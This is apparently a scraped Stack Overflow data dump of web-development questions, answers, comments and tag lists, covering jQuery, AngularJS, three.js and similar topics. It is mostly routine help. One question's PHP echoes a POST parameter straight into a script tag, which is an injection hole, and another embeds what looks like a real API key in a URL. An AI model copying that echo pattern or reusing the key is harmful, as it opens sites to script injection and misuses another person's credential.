has body: I would like to resize the canvas on entering and leaving the fullscreen. I am using three.js and its THREE.WebGLRenderer. Using the code below I can do this but it sets the dimensions of windows "one iteration back" - meaning when I enter the fullscreen it sets the smaller height(buts the bottom part) and then I leave the fullscreen it overstretches it in vertical dimension. code: var width = window.innerWidth, height = window.innerHeight; var renderer = new THREE.WebGLRenderer(); renderer.setSize(width, height); function toggleFullscreen(){ var docElm = document.documentElement; if(!document.fullscreen){ if (docElm.requestFullscreen) { docElm.requestFullscreen(); } else if (docElm.mozRequestFullScreen) { docElm.mozRequestFullScreen(); } else if (docElm.webkitRequestFullScreen) { docElm.webkitRequestFullScreen(); } else if (docElm.msRequestFullscreen) { docElm.msRequestFullscreen(); } document.fullscreen = true; } else{ if (document.exitFullscreen) { document.exitFullscreen(); } else if (document.mozCancelFullScreen) { document.mozCancelFullScreen(); } else if (document.webkitCancelFullScreen) { document.webkitCancelFullScreen(); } else if (document.msExitFullscreen) { document.msExitFullscreen(); } document.fullscreen = false; } renderer.setSize(window.innerWidth, window.innerHeight); } ... &lt;body&gt; &lt;div onclick="toggleFullscreen()" id="button"&gt;Fullscreen&lt;/button&gt; &lt;/body&gt;
tagged with: three.js
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25731939
answer count: 4
type: AnsweredQuestion
upvote count: 1
type: Question
linked to: http://stackoverflow.com/q/47696956
score: 1
has answer: http://stackoverflow.com/a/25730400
has title: Resize the canvas while entering and leaving fullscreen
has answer: http://stackoverflow.com/a/25729569
tagged with: canvas

http://stackoverflow.com/comment/40303605
type: Comment
comment on: http://stackoverflow.com/q/25771837
score: 0
has text: Because `message` is a global variable? It has nothing to do with IIFE btw, only with how scope works. Whether you used an IIFE or separate the function declaration and execution, doesn't make a difference.
type: QuestionComment

http://stackoverflow.com/comment/40210403
type: AnswerComment
type: Comment
has text: sorry i forgot to say im not using moment.js and i cant use it :P
comment on: http://stackoverflow.com/a/25721379
score: 0

http://stackoverflow.com/a/25854332
answers question: http://stackoverflow.com/q/25853903
score: 1
upvote count: 1
has body: you could add an active class via jQuery if you have a menu that changes tabs without redirecting to a new page jQuery: $('.menu a').click(function(event){ event.preventDefault(); $('.menu a').removeClass('active') $(this).addClass('active'); }); CSS: .menu a.active { color: red; } Or you could simply add .active class to the new page link that should be active. http://jsfiddle.net/1ruy1t2h/3/
downvote count: 0
type: Answer

http://stackoverflow.com/comment/40380676
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25813843
has text: jQuery DataTables is a pretty big library, and since I was just handed this huge JS app (someone else built it), I wouldn't know which pieces to grab and throw in the fiddle. Wish I could easily.
score: 0

http://stackoverflow.com/comment/40489279
has text: @torazaburo. Yes, and if you test the fiddle you'll see it *does* distinguish between these.
comment on: http://stackoverflow.com/a/25873442
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/129343668
has text: @Woodrow it is now possible to simply change the style of a parent element when a child element is focused with this pseudo-class: ````parent:focus-within````. See more in this SO answer: https://stackoverflow.com/a/45674671/15145107
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25807674

http://stackoverflow.com/a/25836891
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25834063
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/46068163
has body: I would discourage you from vendoring angular.js, and instead recommend using the google cdn for it. That having been said, and without having seen console output to verify, I'm guessing that you aren't precompiling your assets when you deploy to production.

ie8-compatibility-mode
tags question: http://stackoverflow.com/q/25783362
tag name: ie8-compatibility-mode
type: Tag

http://stackoverflow.com/comment/40224450
score: 1
has text: The usage of `name` which contains `.` isn't good. The usage of `addRowData` is the next problem. One should create grid using `data` parameter and the reset it with new data using `setGridParam` and trigger `reloadGrid` to applied new `data` parameter.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25715910

http://stackoverflow.com/a/25778103
has comment: http://stackoverflow.com/comment/40317485
type: Answer
answers question: http://stackoverflow.com/q/25778026
has body: You have two errors in your if condition. It's not even a condition, it's an assignment statement (conditions are written with double equal signs) Element name should be compared to chk[] instead of chk Your checkall function should be: function checkall(frm) { for (var i=0; i&lt;frm.elements.length; i++) { if (frm.elements[i].name == "chk[]") frm.elements[i].checked = true; } } Now you might be wondering what the hell does this have to do with the values not being submitted, and why are they checked, I can explain. Your current code is assigning a new name "chk" to the checkbox elements (see reason 1 why your condition is not even a condition), and since it's not a condition, the if statement is always true, and the code segment that sets the checked value to true is being executed and that's why you can see the elements checked. Now when you request $_POST['chk[]'] in your PHP you get nothing because the elements' names were all changed to 'chk' by your supposedly (if "condition").
upvote count: 4
type: AcceptedAnswer
downvote count: 0
score: 4
accepted answer of: http://stackoverflow.com/q/25778026

http://stackoverflow.com/q/25844634
has comment: http://stackoverflow.com/comment/40437060
upvote count: 2
tagged with: weighting
downvote count: 2
has comment: http://stackoverflow.com/comment/40437421
has comment: http://stackoverflow.com/comment/40455754
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25878042
type: Question
has title: Bucketing numbers in an array
has comment: http://stackoverflow.com/comment/40438188
has comment: http://stackoverflow.com/comment/40441401
has comment: http://stackoverflow.com/comment/40447962
tagged with: arrays
has comment: http://stackoverflow.com/comment/40438713
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40455811
accepted answer: http://stackoverflow.com/a/25878042
answer count: 1
has comment: http://stackoverflow.com/comment/40437342
favorite count: 0
has body: I have a list of numbers e.g 1-to 60, but not necessarily in increments of 1. E.g 1-40 in increments of 1, and 40-60 in increments of two. I have another set of defined numbers (buckets) –e.g 2, 3, 5 , 10, 30, 50 I need to produce a two dimensional array with percentages of where each number from above (1 to 60) fits into which bucket. to make this simpler: let’s say we have numbers 1 to 10, and buckets, 2, 3, 5, 10 I want my two dimensional array to look like this: I can do this with a bunch of conditionals, but I think there’s a solution out there which I have not thought of and would be great if someone could shed some light! I need to do this in JavaScript, but any language would help me to try and understand any solution more optimal than lots of if’s deciding where each number fits and then doing (6-5/10-5)=0.2 for each cell. I’m trying to avoid hardcoding buckets, 2, 3, 5, 10 so that any set of buckets or numbers can do the job. EDIT: First of all, I'm sorry for the incomplete description - I was on my phone at the time and couldn't post on stackoverflow via a computer. Both 1-10 and 2,3,5,10 represent years. Effectively, I'm trying to bucket each year from 1 to 10. Year 1 goes 100% into Bucket 2 - I guess there isn't a specific formula for this cell Year 2 goes 100% into Bucket 2 - No specific formula either Year 3 goes 100% into Bucket 3 - 3==3 Year 4 is split half between Bucket 3, and half between Bucket 5. The formula for this is: (Year 4 - Bucket 3)/(Bucket 5 - Bucket 3) = 0.5 Year 5 goes 100% into Bucket 5. Year 6, goes 80% into Bucket 5, and 20% into Bucket 10. The formula for this is: 1-(6-5)/(10-5)=0.8 and for its neighbouring cell (6-5)/(10-5) ...and so on... I hope this makes it clearer.

http://stackoverflow.com/q/25872280
has comment: http://stackoverflow.com/comment/40487133
has comment: http://stackoverflow.com/comment/40488094
possible better answer: http://stackoverflow.com/a/45458866
linked to: http://stackoverflow.com/q/23780950
favorite count: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40487654
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/45458866
linked to: http://stackoverflow.com/q/23756105
has comment: http://stackoverflow.com/comment/40487834
score: 12
type: Question
answer count: 2
has body: I am using angular bootstrap ui modal box it says to give a new $modalInstance for new controller.I want to use the same controller where i have initialized the modal box.I searched but no success.I found this links but no success - How to use the same controller for modal and non-modal form in Angular UI Bootstrap? Angular-ui bootstrap modal without creating new controller app.controller('UserCtrl',['$scope','$filter','ngTableParams','$modal',function($scope, $filter, ngTableParams,$modal) { var modalInstance = $modal.open({ templateUrl: 'myModalContent.html', controller: 'ModalInstanceCtrl', //Instead of this i want to use the same controller 'UserCtrl' size: size, resolve: { items: function () { return $scope.items; } } }); modalInstance.result.then(function (selectedItem) { $scope.selected = selectedItem; }, function () { $log.info('Modal dismissed at: ' + new Date()); }); }; }; } ]); So that i can call the save function on this same controller which is called on save click of modal box
upvote count: 12
has title: Angular bootstrap ui modal with same controller instead of new controller
downvote count: 0
tagged with: javascript
tagged with: angular-ui-bootstrap
has answer: http://stackoverflow.com/a/26624403
accepted answer: http://stackoverflow.com/a/26624403

http://stackoverflow.com/q/25827368
tagged with: swift
type: AnsweredQuestion
has body: I'm trying to make my javascript interact with swift code but unfortunately i didn't succeed. For the moment, i just tried to change the headers colors and display a message like you will see in the code below. Here's my (index.html) code: Test WebView Test Here's my (main.js -JavaScript) code: function callNativeApp () { try { webkit.messageHandlers.callbackHandler.postMessage("Send from JavaScript"); } catch(err) { console.log('error'); } } setTimeout(function () { callNativeApp(); }, 5000); function redHeader() { document.querySelector('h1').style.color = "red"; } Here's my (ViewController.swift) code: import UIKit import WebKit class ViewController: UIViewController, WKScriptMessageHandler { @IBOutlet var containerView : UIView! = nil var webView: WKWebView? override func loadView() { super.loadView() var contentController = WKUserContentController(); var userScript = WKUserScript( source: "redHeader()", injectionTime: WKUserScriptInjectionTime.AtDocumentEnd, forMainFrameOnly: true ) contentController.addUserScript(userScript) contentController.addScriptMessageHandler( self, name: "callbackHandler" ) var config = WKWebViewConfiguration() config.userContentController = contentController self.webView = WKWebView() self.view = self.webView! } override func viewDidLoad() { super.viewDidLoad() // Do any additional setup after loading the view, typically from a nib. var url = NSURL(fileURLWithPath: NSBundle.mainBundle().pathForResource("index", ofType: "html")!) var req = NSURLRequest(URL: url) self.webView!.loadRequest(req) } func userContentController(userContentController: WKUserContentController!,didReceiveScriptMessage message: WKScriptMessage!) { if(message.name == "callbackHandler") { println("JavaScript is sending a message \(message.body)") } } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } }
has answer: http://stackoverflow.com/a/34400473
type: Question
possible better answer: http://stackoverflow.com/a/34400473
answer count: 2
tagged with: ios
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/94843067
tagged with: xcode
favorite count: 0
has answer: http://stackoverflow.com/a/25830317
upvote count: 25
has title: Swift webview: How to call correctly swift code from javascript?
accepted answer: http://stackoverflow.com/a/25830317
score: 25

http://stackoverflow.com/a/25753650
has body: createJavaScriptNode() has been marked as obsolete (https://developer.mozilla.org/en-US/docs/Web/API/AudioContext.createJavaScriptNode), and it's use is now discouraged. Looks like the method name has been changed to createScriptProcessor(), here's some doc on it: https://developer.mozilla.org/en-US/docs/Web/API/AudioContext.createScriptProcessor Hope this helps!
score: 2
answers question: http://stackoverflow.com/q/25753557
downvote count: 0
has comment: http://stackoverflow.com/comment/40271162
upvote count: 2
type: Answer

http://stackoverflow.com/comment/95700790
score: 5
has text: Make sure to use `window.URL.revokeObjectURL(url)` when you're done, to avoid a memory leak.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/40139881

http://stackoverflow.com/comment/40468326
comment on: http://stackoverflow.com/a/25861710
has text: but i have got a console error Unexpected token n see it here http://codebag.org/stackoverflow/#/login
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/25815971
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25815816
has comment: http://stackoverflow.com/comment/40385224
type: Answer
upvote count: 1
has body: You didnt pass event also... so your if there is not needed... and use .data("event-sort") for this... $(document).ready(function(){ $('.eventSort').click(function(event){ event.preventDefault(); var thisEventSort = $(this).data("event-sort"); if (thisEventSort == "0"){ $('.eventsys-event-wrapper').show('fast'); return; } else { $('.eventsys-event-wrapper').each(function(){ var thisEventType = $(this).attr("data-event-type"); if (thisEventType == thisEventSort) { $(this).show('fast'); } else { $(this).hide('fast'); } }); } }); });

http://stackoverflow.com/comment/40363288
has text: @hitesh — Are you trying to determine if your JavaScript source code could be valid JSON if it was so extracted? From within your program? That's probably possibly, but very non-trivial and I don't see any point in trying to do so. What are you actually trying to achieve?
comment on: http://stackoverflow.com/q/25804236
score: 1
type: Comment
type: QuestionComment

forms
tags question: http://stackoverflow.com/q/25717695
tags question: http://stackoverflow.com/q/25760875
tags question: http://stackoverflow.com/q/25727451
tags question: http://stackoverflow.com/q/25712995
tags question: http://stackoverflow.com/q/25867482
tags question: http://stackoverflow.com/q/25849271
tags question: http://stackoverflow.com/q/25805692
tags question: http://stackoverflow.com/q/25836652
tags question: http://stackoverflow.com/q/25790680
tags question: http://stackoverflow.com/q/25872177
tags question: http://stackoverflow.com/q/25754344
tags question: http://stackoverflow.com/q/25739003
type: Tag
tags question: http://stackoverflow.com/q/25821637
tags question: http://stackoverflow.com/q/25768277
tags question: http://stackoverflow.com/q/25804778
tags question: http://stackoverflow.com/q/25820727
tags question: http://stackoverflow.com/q/25726317
tags question: http://stackoverflow.com/q/25714590
tags question: http://stackoverflow.com/q/25792495
tags question: http://stackoverflow.com/q/25833512
tags question: http://stackoverflow.com/q/25831415
tags question: http://stackoverflow.com/q/25770204
tags question: http://stackoverflow.com/q/25738314
tags question: http://stackoverflow.com/q/25847419
tags question: http://stackoverflow.com/q/25834979
tags question: http://stackoverflow.com/q/25825391
tags question: http://stackoverflow.com/q/25815310
tags question: http://stackoverflow.com/q/25827391
tags question: http://stackoverflow.com/q/25749371
tags question: http://stackoverflow.com/q/25824212
tags question: http://stackoverflow.com/q/25816434
tags question: http://stackoverflow.com/q/25716160
tags question: http://stackoverflow.com/q/25763099
tags question: http://stackoverflow.com/q/25862635
tags question: http://stackoverflow.com/q/25790501
tags question: http://stackoverflow.com/q/25732980
tags question: http://stackoverflow.com/q/25824094
tags question: http://stackoverflow.com/q/25805317
tags question: http://stackoverflow.com/q/25832129
tags question: http://stackoverflow.com/q/25801875
tags question: http://stackoverflow.com/q/25857997
tags question: http://stackoverflow.com/q/25838343
tags question: http://stackoverflow.com/q/25713853
tags question: http://stackoverflow.com/q/25839830
tags question: http://stackoverflow.com/q/25745756
tags question: http://stackoverflow.com/q/25839162
tags question: http://stackoverflow.com/q/25796657
tags question: http://stackoverflow.com/q/25836045
tags question: http://stackoverflow.com/q/25775893
tags question: http://stackoverflow.com/q/25773322
tags question: http://stackoverflow.com/q/25823868
tags question: http://stackoverflow.com/q/25762836
tags question: http://stackoverflow.com/q/25747623
tags question: http://stackoverflow.com/q/25805815
tags question: http://stackoverflow.com/q/25813369
tags question: http://stackoverflow.com/q/25810236
tags question: http://stackoverflow.com/q/25787094
tags question: http://stackoverflow.com/q/25843977
tags question: http://stackoverflow.com/q/25832735
tags question: http://stackoverflow.com/q/25741946
tags question: http://stackoverflow.com/q/25823956
tags question: http://stackoverflow.com/q/25867342
tags question: http://stackoverflow.com/q/25871585
tags question: http://stackoverflow.com/q/25828891
tags question: http://stackoverflow.com/q/25736913
tags question: http://stackoverflow.com/q/25826798
tags question: http://stackoverflow.com/q/25751884
tags question: http://stackoverflow.com/q/25819994
tags question: http://stackoverflow.com/q/25807479
tags question: http://stackoverflow.com/q/25813547
tags question: http://stackoverflow.com/q/25778722
tags question: http://stackoverflow.com/q/25834670
tags question: http://stackoverflow.com/q/25764221
tags question: http://stackoverflow.com/q/25789723
tags question: http://stackoverflow.com/q/25831642
tags question: http://stackoverflow.com/q/25781851
tags question: http://stackoverflow.com/q/25812725
tags question: http://stackoverflow.com/q/25854378
tags question: http://stackoverflow.com/q/25846307

http://stackoverflow.com/comment/40424098
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25837645
has text: Can you show the full code? From what you're showing here, you're doing things incorrectly. You're using the getElementById() method but you don't have any IDs. What logic are you trying to employ?

http://stackoverflow.com/q/25775990
score: -2
tagged with: javascript
answer count: 3
has body: I've got the following code: Name: {{$http.get('https://api.themoviedb.org/3/movie/now_playing?api_key=b4e5192d902f5add71f4a431c004d734').success(successCallback);}} But it is not returning anything, how do I make it so I can at least just display everything in that API? I would like to assign it to an variable and be able to explode it for manipulation.
upvote count: 0
has answer: http://stackoverflow.com/a/25776164
favorite count: 0
has answer: http://stackoverflow.com/a/25776096
tagged with: angularjs
downvote count: 2
possible better answer: http://stackoverflow.com/a/25776096
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25776154
accepted answer: http://stackoverflow.com/a/25776154
tagged with: http
has title: http.get not working in angularjs?
type: Question

http://stackoverflow.com/comment/40279584
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25757992
has text: it works please explain why my code didnt work..appreciate the suggestion so much it will help me more if i know why it didnt work
score: 0

http://stackoverflow.com/q/25769251
has answer: http://stackoverflow.com/a/25778772
tagged with: php
has comment: http://stackoverflow.com/comment/40298954
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25778772
type: Question
has comment: http://stackoverflow.com/comment/40299537
tagged with: javascript
tagged with: jquery
tagged with: ajax
score: 0
has comment: http://stackoverflow.com/comment/40300665
answer count: 1
has body: I have a slideshow (jQuery Cycle2 plugin) running on a server. The slideshow can be paused and stopped with buttons invoking jQuery functions on the slideshow. The application is structured as follows: In the index.php I define the slideshow functions (stop, pause, etc.) and an AJAX call within a function that sends a POST to another PHP script to load the slideshow content from the server. So far, this works nicely. Now, I want to have another script (or maybe Webservice) remoteControl.php that allows me to remote control my slideshow from a third device. So say I run the slideshow on the server and from another site (probably same domain) I call the slideshow functions in the index.php using also AJAX. At the moment this does not work. In the body section of my index.php I put: if(isset($_POST['action'])){ $actionOnSlideshow = $_POST['action']; echo '&lt;script&gt;'.$actionOnSlideshow.'();&lt;/script&gt;'; } ?&gt; followed by all the other content and scripts for the slideshow. The $actionOnSlideshow variable contains the respective function sent from the AJAX request in the remoteControl.php. Could this relate to the same-origin-policy. The second AJAX call however is from the same domain so this should not be the issue!?
has comment: http://stackoverflow.com/comment/40299250
has comment: http://stackoverflow.com/comment/40299222
has title: AJAX call to invoke a remote JS function

http://stackoverflow.com/comment/40314740
comment on: http://stackoverflow.com/q/25777499
type: Comment
type: QuestionComment
score: 1
has text: Yeah, this lacks so much detail..

http://stackoverflow.com/a/25740646
has body: Try this: &lt;script&gt; $(document).ready(function() { $('.gallery-item').on('click', function(e) { $("#showcontent").append($(".show-gallery-content").html()).show(); }); }); &lt;/script&gt;
type: Answer
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40246879
answers question: http://stackoverflow.com/q/25740400

http://stackoverflow.com/comment/40467770
has text: Add a failure handler to $http call to see what went wrong. Depending on where you place the HTML and the php file, the path you use for $http request may have problems. First ensure path is correct and work towards a solution from there. Another way is - use a debugger to see the request and the response details in the browser.
score: 0
comment on: http://stackoverflow.com/q/25861625
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40214473
comment on: http://stackoverflow.com/a/25721227
type: Comment
score: 1
has text: You're right. For some reason all other Google APIs returned an object, but now this API returned a string that I had to JSON.parse() myself.
type: AnswerComment

http://stackoverflow.com/q/25779480
possible better answer: http://stackoverflow.com/a/25779601
type: Question
has answer: http://stackoverflow.com/a/25779601
tagged with: javascript
tagged with: jquery
score: 0
accepted answer: http://stackoverflow.com/a/25779496
answer count: 3
tagged with: validation
has answer: http://stackoverflow.com/a/25780518
has body: I'm new to JQuery and wrote a simple validation to check the email address. But it is not working as expected. Can someone suggest to fix this? Your email address: Not a valid email address A valid email address!
type: AnsweredQuestion
has title: JQuery email validation not working
has answer: http://stackoverflow.com/a/25779496

http://stackoverflow.com/a/25777303
has comment: http://stackoverflow.com/comment/40315855
has comment: http://stackoverflow.com/comment/40315506
score: 0
answers question: http://stackoverflow.com/q/25777168
type: Answer
accepted answer of: http://stackoverflow.com/q/25777168
has comment: http://stackoverflow.com/comment/40315398
has comment: http://stackoverflow.com/comment/40314678
has comment: http://stackoverflow.com/comment/40314558
has body: You are not providing the Array.splice function the parameters that it expects. The first parameter to Array.slice should be the index of the item you want to remove from the list. At the moment, you are providing it with the item you want to remove. You should first find the index of the item you want to remove. try something like this $scope.NewList.push(Item); var index = $scope.List.indexOf(Item); if(index !== -1) $scope.List.splice(index , 1); note: Array.indexOf does not work on arrays of objects. Since you do have an array of objects your going to have to iterate through the list(with a for loop), and compare the name property to find the index of the item you want to remove. var index = -1; for (var i = 0; i &lt; $scope.List.length; i++) { if($scope.List[i].name === Item.name){ index = i; break; } }
has comment: http://stackoverflow.com/comment/40315734
has comment: http://stackoverflow.com/comment/40314522
type: AcceptedAnswer

http://stackoverflow.com/comment/40292079
type: Comment
has text: can you xplain why we used span here? becoz of span i am nt getting class id
comment on: http://stackoverflow.com/a/25718937
type: AnswerComment
score: 0

http://stackoverflow.com/q/25819570
favorite count: 0
has answer: http://stackoverflow.com/a/25819930
linked to: http://stackoverflow.com/q/492994
has comment: http://stackoverflow.com/comment/40391426
type: UnansweredQuestion
score: -4
has comment: http://stackoverflow.com/comment/40391788
has comment: http://stackoverflow.com/comment/40391554
has comment: http://stackoverflow.com/comment/40391471
has comment: http://stackoverflow.com/comment/40391423
has body: I have the following form: I am validating the form using a date comparison function I found in this answer and the following function: function validateForm() { if(dates.compare(document.getElementsByName('fdate')[0].value, document.getElementsByName('tdate')[0].value) == -1) { alert("to date must be bigger then from date"); return false; } } What is the problem of this code?
has title: Dates compare with javascript
type: Question
has comment: http://stackoverflow.com/comment/40392133
upvote count: 0
tagged with: javascript
downvote count: 4
answer count: 1

http://stackoverflow.com/q/25731954
type: Question
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25735198
tagged with: google-maps-api-3
score: 0
tagged with: google-maps
answer count: 1
has answer: http://stackoverflow.com/a/25735198
has title: Can't resize Google Spreadsheet embedded in Maps infowindow
tagged with: http://stackoverflow.com/tag/html
has body: I have embedded a table from Google Drive into the infowindow of my Google Map. I have been able to resize the infowindow itself, but not the embedded table. I have tried and every variety of that I could think of, but the map won't load after the width has been added. Any ideas as to why this may not be working? I have an example at http://www.amvendetti.com/index.php?id=2 Info windows
type: AnsweredQuestion

http://stackoverflow.com/comment/40479586
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25858179
has text: @acutesoftware I want to rewrite the string in the browser URL to something different? Like cnn.com when you go to the homepage it stays on http://www.cnn.com.

http://stackoverflow.com/comment/40304983
type: AnswerComment
comment on: http://stackoverflow.com/a/25772585
type: Comment
has text: ...assuming JQuery 1.7+
score: 1

http://stackoverflow.com/q/25808670
has comment: http://stackoverflow.com/comment/40370580
type: Question
linked to: http://stackoverflow.com/q/15677869
answer count: 2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40370394
has comment: http://stackoverflow.com/comment/40370449
score: 0
possible better answer: http://stackoverflow.com/a/25808884
has answer: http://stackoverflow.com/a/25808884
has comment: http://stackoverflow.com/comment/40370615
has answer: http://stackoverflow.com/a/25808781
has comment: http://stackoverflow.com/comment/40370344
has title: replace string with numbers that resembles the string using string.replace()
has comment: http://stackoverflow.com/comment/40370697
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40370590
has body: Here I have a line of code which I would prefer to take '123' as a string value. Then with the help of split() and join() it will become a string like '1,2,3'. Then I want to replace all the numeric string values with actual number like 1,2..... For this I used a variable called k and give it an initial value 1. I used an increment operator inside replace to change the value of k. But it is not working. Maybe I am getting it wrong how string.replace() execute the replacement operation. I also tried to use parseInt('$1') it also didn't work. console gives output of 1,1,1.No increment operation takes place. &lt;html&gt; &lt;body&gt; &lt;script&gt; (function(){ var k=1; console.log(prompt('input here').split('').join(',').replace(/(\d)/g,k++)); })(); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt;
accepted answer: http://stackoverflow.com/a/25808781
has comment: http://stackoverflow.com/comment/40370424

http://stackoverflow.com/a/25804567
answers question: http://stackoverflow.com/q/25798079
type: AcceptedAnswer
score: 0
has body: What I am missing that the markets array is not passed over to @refresh? That you're calling refresh before the getJSON request finishes?! I wonder that it's an array at all and not undefined that you see. @after 'initialize', -&gt; $.getJSON "/api/v2/tickers", (data) -&gt; markets = for own cur of data {volume: data[cur].ticker.vol} console.log markets @.refresh {markets: markets}
accepted answer of: http://stackoverflow.com/q/25798079
type: Answer

http://stackoverflow.com/q/25730217
possible better answer: http://stackoverflow.com/a/25730592
has answer: http://stackoverflow.com/a/25730592
has comment: http://stackoverflow.com/comment/40227628
has comment: http://stackoverflow.com/comment/40226945
has body: Assuming this table (actually it could have more columns and rows): Type Color Wheels Car Red 4 Motorcycle Green 2 Bike Blue 2 Car Blue 4 Bike Green 2 Motorcycle Red 2 Now my goal is to be able to click on the table data (cells), for example "Car", and then show only the two cars. Another click on "Car" should show the hole table again. Or one click on "Red", and then only the red vehicles (red car and red motorcycle) should be shown. How can this be achieved using jQuery?
downvote count: 2
has answer: http://stackoverflow.com/a/25730872
type: AnsweredQuestion
tagged with: toggle
type: Question
has comment: http://stackoverflow.com/comment/40227602
answer count: 2
accepted answer: http://stackoverflow.com/a/25730872
upvote count: 0
score: -2
has comment: http://stackoverflow.com/comment/40227664
tagged with: javascript
tagged with: jquery
tagged with: show-hide
has title: Filtering: How to hide/show (toggle) certain table rows on click?
favorite count: 0
has comment: http://stackoverflow.com/comment/40227042
has comment: http://stackoverflow.com/comment/40227164
tagged with: filter

http://stackoverflow.com/comment/40370318
comment on: http://stackoverflow.com/a/25808270
type: Comment
has text: manual initialization is useful but I think angular should create an initial constructure like event.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25758144
has comment: http://stackoverflow.com/comment/110943634
has body: At the homepage of emberjs.com there is a emberjs &amp; handlebarsjs example of a todo list. On the todo list there is a extension for a .hbs file and I was wondering what is .hbs? And how do I include a .hbs script to HTML? Something like this: &lt;script type="text/hbs" src="hbs-file.hbs"&gt;&lt;/script&gt;
has answer: http://stackoverflow.com/a/25758202
tagged with: handlebars.js
type: AnsweredQuestion
score: 15
type: Question
upvote count: 15
accepted answer: http://stackoverflow.com/a/25758202
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
has title: include a .handlebars or a .hbs file in html
tagged with: http://stackoverflow.com/tag/html
tagged with: ember.js

http://stackoverflow.com/a/25753848
answers question: http://stackoverflow.com/q/25753827
has comment: http://stackoverflow.com/comment/40271493
has comment: http://stackoverflow.com/comment/40271608
type: AcceptedAnswer
downvote count: 0
has body: Assuming you call the .click() method on #mybutton before it is actually appended to #mydiv, you need to use .on() as the button doesn't exist when you attach the event handler: $('#mydiv').on('click','#mybutton',function(){ alert('hello'); }); Should work...
type: Answer
upvote count: 3
has comment: http://stackoverflow.com/comment/40271539
score: 3
accepted answer of: http://stackoverflow.com/q/25753827

http://stackoverflow.com/comment/40482141
comment on: http://stackoverflow.com/q/25869690
has text: What is the error you are receiving?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25747220
type: Answer
upvote count: 4
score: 2
has body: You can't get the sum total of all CSS from jQuery. You can however pass in an array of property names (as of jQuery 1.9) and get back a list of values: var cssStuff = $(div).css(["color", "fontSize", "width"]);
answers question: http://stackoverflow.com/q/25747162
downvote count: 2
has comment: http://stackoverflow.com/comment/40262351

http://stackoverflow.com/q/25712995
type: Question
has body: I'm building a ruby on rails application that allows users to select the max price they want to spend on on a product in a form which is then stored and inserted into ebay's item filter which is part of their api. However, I have to submit the form first, then call the function to execute the api, how can I combine these two steps? This is the code for the form which has a select tag for the user to select their max price as well as a submit button which works fine. I tried to add the onclick option and call the showItems() function which makes the ebay API call, but it does not return the items. <%= form_tag do |f| %> <%= select_tag "max_price", " 10 20 ".html_safe %> <%=submit_tag("Submit filter", id: "form_button", onclick: 'showItems();' ) %> <% end %> <% @max_price = params[:max_price]%>
tagged with: javascript
tagged with: forms
upvote count: 1
tagged with: jquery
favorite count: 0
type: UnansweredQuestion
has title: How do I submit a form and make a call to ebay's API at the same time while using data from the form?
answer count: 0
downvote count: 0
score: 1
tagged with: ruby-on-rails

http://stackoverflow.com/comment/40478761
has text: are you sure that the second click is happening after the ajax request is completed? and that the ajax request is successfully completed
type: Comment
comment on: http://stackoverflow.com/q/25867906
type: QuestionComment
score: 0

http://stackoverflow.com/comment/40196071
score: 0
type: QuestionComment
type: Comment
has text: You are right, my mistake. I tried adding a class as well
comment on: http://stackoverflow.com/q/25713680

http://stackoverflow.com/a/25827188
type: Answer
answers question: http://stackoverflow.com/q/25827175
upvote count: 3
score: 3
has body: Every third user isn't possible without incorporating some kind of backend code on the server. But redirecting approximately one third of all visitors is possible. if (Math.random() &lt; 0.333333) window.location = "http://www.yoururl.com";
downvote count: 0

http://stackoverflow.com/q/25800957
has body: Let's say I want to load some json data to my app and then display a products information based on that returned data in an app built with intel xdk. eg. {"Title":"Product 1","ImageURL":"http://images.com/images/product/1/image.jpg"} I can write the javascript to populate an &lt;img&gt; tag with the returned URL, but how do I then get this to display this in my app ?, as &lt;img src="http://images.com/images/product/1/image.jpg" /&gt;, does not display the requested image. It seems to only work for a locally hosted images.
favorite count: 0
has answer: http://stackoverflow.com/a/25801002
has title: Intel XDK and remote images
type: AnsweredQuestion
upvote count: 1
accepted answer: http://stackoverflow.com/a/25801002
type: Question
score: 1
tagged with: javascript
tagged with: image
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/111121935
score: 0
has text: CubicleSoft, Let’s imagine that there is an actual transition (a page formed directly when the link is clicked) and a virtual transition (a page generated by the event, while there is no real click through). In the actual transition, (if the domains are different during the transition), the browser does not allow you to track the transitions due to security policies and privacy. With a dynamic transition, your code is executed in the context of your actions, you have the opportunity to track the actions in the navigation panel. At the very least, this is satisfactory for your SPA application.
type: Comment
comment on: http://stackoverflow.com/a/60028685
type: AnswerComment

http://stackoverflow.com/a/25752308
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25751133
